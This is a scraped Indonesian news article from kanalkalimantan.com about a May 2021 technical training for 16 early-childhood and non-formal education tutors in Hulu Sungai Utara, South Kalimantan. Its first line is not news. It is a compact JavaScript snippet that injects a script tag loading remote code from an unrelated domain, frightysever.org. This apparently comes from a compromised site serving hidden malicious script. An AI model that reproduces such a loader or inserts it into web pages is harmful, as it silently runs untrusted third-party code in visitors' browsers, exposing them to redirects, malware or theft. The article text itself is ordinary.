(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Sebanyak 16 tenaga pendidik atau Tutor Bantu Penyelenggaraan Pendidikan Anak Usia Dini (PAUD) di Kabupaten Hulu Sungai Utara (HSU) mengikuti Bimbingan Teknis (Bimtek).
Dalam penyelenggaraan program Sanggar Kegiatan Belajar (SKB), dari Balai Pengembangan (BP) PAUD dan Dikmas Provinsi Kalimantan Selatan, Jumat (21/5/2021)
Bintek program SKB yang meliputi program PAUD, pendidikan keaksaraan, pendidikan kesetaraan, kursus dan pelatihan tersebut, para tutor bantu ini juga diberikan Bimtek Tutor Bantu oleh Satuan Pendidikan Nonformal Sanggar Kegiatan Belajar (SPNF -SKB) Kabupaten Hulu Sungai Utara.
Kabid Pembinaan PAUD dan Pendidikan Nonformal Dinas Pendidikan Kabupaten HSU Nurul Isna Hartaty, saat membuka kegiatan mengaku bersyukur dan menyambut baik kegiatan ini.
Baca juga : Tutor Bantu Satuan Pendidikan Nonformal HSU Ikuti Bimtek dari BP-PAUD Dikmas Kalsel
Ia berharap melalui Bimtek ini para tutor bantu di Kabupaten HSU dapat meningkatkan kualitas pembelajaran. “Mudah-mudahan kegiatan ini dapat bermanfaat bagi kita tutor bantu, serta meningkatkan kualitas pendidikan,” katanya.
Adapun hadir sebagai pemateri dalam Kegiatan yang digelar di SPNF SKB Desa Banyu Hirang Kecamatan Amuntai Selatan tersebut, Nunung Nurazizah dan Rizha Fahmi selaku Perwakilan dari BP-PAUD dan Dikmas Provinsi Kalimantan Selatan (UPT. Kemendikbudristek RI)
Nunung Nurazizah dalam arahannya mengatakan, perekrutan tutor bantu ini bertujuan untuk memperluas akses dan meningkatkan mutu layanan program Pendidikan Anak Usia Dini (PAUD) dan Pendidikan Masyarakat di SPNF SKB HSU.
“Dengan adanya kegiatan bimtek ini diharapkan para tutor bantu dapat menjalankan tugas dengan baik sesuai dengan aturan yang ada, sehingga dapat meningkatkan kualitas pembelajaran,” kata Nunung.
Baca juga : Kominfo: Data Penduduk yang Bocor Identik dengan Data BPJS Kesehatan
Selain itu, dirinya juga menyampaikan bahwa Pendidik/Tutor Bantu pada SKB memiliki tugas dan tanggung jawab untuk merencanakan proses pembelajaran, menyiapkan bahan belajar, melaksanakan pembelajaran kepada peserta didik sesuai program yang diajukan.
“Ditambah lagi dengan mengadministrasikan proses dan hasil belajar, melakukan motivasi peserta didik ,melaksanakan evaluasi hasil belajar, menyusun laporan hasil belajar, menyusun serta menyampaikan laporan pekerjaan setiap bulan,” tukasnya. (kanalkalimantan.com/dew)
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar Gebyar Pemberdayaan Masyarakat Desa, Kamis (12/12/2024) siang di… Read More
KANALKALIMANTAN.COM, MARTAPURA - Dinas Pekerjaan Umum, Penataan Ruang dan Pertanahan (PUPRP) Kabupaten Banjar menggelar pertemuan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rumah Sakit Daerah (RSD) Idaman Banjarbaru berhasil meraih peringkat satu penghargaan Eco… Read More
KANALKALIMANTAN.COM, PARINGIN - Memastikan pemasangan dan kondisi lampu Penerangan Jalan Umum (PJU) berjalan dengan baik,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota dan Wakil Wali Kota Banjarbaru menyatukan suara bersama masyarakat Kota… Read More
This website uses cookies.